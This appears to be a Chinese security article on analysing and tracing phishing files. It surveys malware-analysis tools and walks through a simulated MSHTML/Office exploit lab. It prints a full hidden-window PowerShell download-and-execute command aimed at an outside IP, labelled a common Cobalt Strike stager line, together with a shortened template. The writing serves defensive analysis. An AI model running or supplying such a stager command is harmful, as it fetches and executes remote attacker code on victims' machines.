恶意软件分析技术的市场
如今,恶意软件分析已是信息安全领域的一个整体产业:
发布保护产品的反病毒引擎实验室,高度专业化的专家小组,甚至恶意软件编写者本身也参与其中,他们争夺一个潜在的客户–“受害者”。
常见的分析技术
静态恶意软件分析在不主动运行恶意软件代码的情况下查找可能损害系统的文件,使其成为暴露恶意库或打包文件的安全工具。静态恶意软件分析可以发现有关恶意软件性质的线索,例如文件名、哈希、IP 地址、域和文件头数据。可以使用各种工具(例如网络分析器)观察恶意软件。
动态恶意软件分析使用沙盒,沙盒是一个安全、隔离的虚拟环境,您可以在其中运行可疑的危险代码。安全专业人员可以密切监视沙箱中的恶意软件,而不必担心感染系统或网络的其余部分,从而使他们能够收集有关恶意软件的更多信息。
混合恶意软件分析结合了静态和动态技术。例如,如果恶意代码对计算机的内存进行更改,则动态分析可以检测到该活动。然后,静态分析可以准确确定进行了哪些更改。
常见的检测工具展示
网络分析工具
官网:https://www.netlimiter.com/
可通过此工具监测程序的网络通讯信息,以方便进一步分析
官网:https://www.nirsoft.net/utils/cports.html
可通过此工具显示本地计算机上所有当前打开的TCP/IP和UDP端口的列表。对于列表中的每个端口,还显示打开该端口的进程的信息,包括进程名称、进程的完整路径、进程的版本信息(产品名称、文件描述等)、进程的创建时间以及创建该进程的用户。此外,CurrPorts允许你关闭不需要的TCP连接,杀死打开端口的进程,并将TCP/UDP端口信息保存到HTML文件、XML文件或以制表符分隔的文本文件中。
可通过此工具监测目标系统的DNS解析,可有效应用于对APT远控木马的检测。
官网:https://www.httpdebugger.com/
行为监控工具
官网:https://www.adlice.com/diffview/
可通过此工具追踪一个程序在你系统上所做的修改或一些操作进行监控
官网:https://www.huorong.cn/
可通过此工具在如下图所展示的角度分析程序运行后做了什么,以分析是否为恶意程序以及进行辅助分析工作
可通过此工具的HIPS与防火墙功能监测程序运行后做了什么,以进行分析
https://www.comodo.com/home/internet-security/free-internet-security.php
反编译与调试工具
http://www.gda.wiki:9090/
通过GDA与Frida来分析APK是否存在恶意行为
知识扩展
思路
一个恶意软件分析思路图展示,如下图展示了三个编码级别
恶意软件作者:使用高级语言编写恶意程序
计算机:CPU识别代码进行执行
恶意软件分析人员:通过反编译手段进行分析
发包函数
针对软件的网络信息常针对底层运行原理,通过拦截发布函数进行分析
WSPSendTo函数使用重叠的I/O将数据发送到一个特定的目的地。
WSPRecvFrom函数接收一个数据报并存储源地址。
漏洞利用类钓鱼
模拟
真实背景利用案例
该漏洞存在于MSHTML,即Internet Explorer的引擎。虽然现在很少有人使用IE(甚至微软也强烈建议改用其较新的浏览器Edge),但这个旧的浏览器仍然是现代操作系统的一个组成部分,而且其他一些程序也使用其引擎来处理网络内容。特别是,微软的Office应用程序,如Word和PowerPoint,都依赖它。
自该漏洞发布以来,安全研究人员在Twitter上警告说,尽管微软Office的 “保护视图 ”功能会阻止该漏洞,但这是多么危险。当Office打开一个文档时,它会检查它是否被标记为 “网络标记”(MoTW),这意味着它来自于互联网。如果这个标签存在,微软将以只读模式打开文档,有效地阻止了该漏洞,除非用户点击 “启用编辑 ”按钮。
但历史表明,许多用户忽略了这一警告,还是点击了 “启用编辑 “按钮。
但还有有许多方法可以使文件不收到MoTW标志,从而有效地否定了这种防御。
模拟分析
http://192.168.86.144/
http://192.168.86.144/word.cab
并通过控制面板执行临时文件夹下名为msword.inf配置文件,之后通过运行cmd程序打开计算器程序calc.exe(这里代指恶意程序)
通过control(控制面板)程序运行msword.inf脚本
INF文件中包含硬件设备的信息或脚本以控制硬件操作。
看到了计算器相关内容(calc.exe 这里代指恶意程序)
ShellExecuteExW函数(可通常此函数执行外部程序或打开文件)
rundll32.exe(rundll32.exe用于在内存中运行DLL文件,
它们会在应用程序中被使用,可用于在内存中执行恶意dll)
常根据分析的数据如IP、MD5、签名等等通过一些方法深入定位制作者
https://www.ipplus360.com/
https://www.ipip.net/product/client.html
https://beian.miit.gov.cn/#/Integrated/index
https://whois.aliyun.com/
https://s.threatbook.com/
https://ti.sangfor.com.cn/analysis-platform
如图所示显示的是常见pdf logo但实际是可执行文件
如图所示,通过一些方法使其后缀名看起来正常,但实际是可执行文件,此类可通过属性文件类型信息查看
例如,假设你有20个来源不明的文件,你能够使用它们的MD5值在virscan、Virustotal之类的查杀网站进行对比来识别它们的安全度
https://www.virustotal.com/
https://github.com/emalderson/ThePhish
http://www.starwoodd.net/
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://120.48.85.228:80/favicon’))”
常见的cs上线命令
powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring(‘’)
powershell上线命令可以简化,删除了两个括号和两个双引号
案例讲解
网上找的样本进行分析,如下图所示,解包内容存在欺骗诱导行为
网上分析示例
在PEstudio中检查样本的属性,恶意软件被打包,所有的字符串都被加密了
获取进程的名称,接着解密一些字符串,并将其中的两个字符串连接起来创建 EXE 文件的名称。
防止恶意程序自我感染的过程中,恶意软件会将进程的完整路径与解析的应用程序进行比较。如果它们相同,恶意软件将返回并结束此功能
用户帐户控制 (UAC) 有助于防止恶意软件损坏电脑,并且有助于组织部署易于管理的桌面。借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。
针对攻击的多样化建议在内存层进行防护与监控,目前国内安芯网盾这方面看到过相关资料
原文始发于微信公众号(SecIN技术平台):原创 | 钓鱼文件应急溯源:方法篇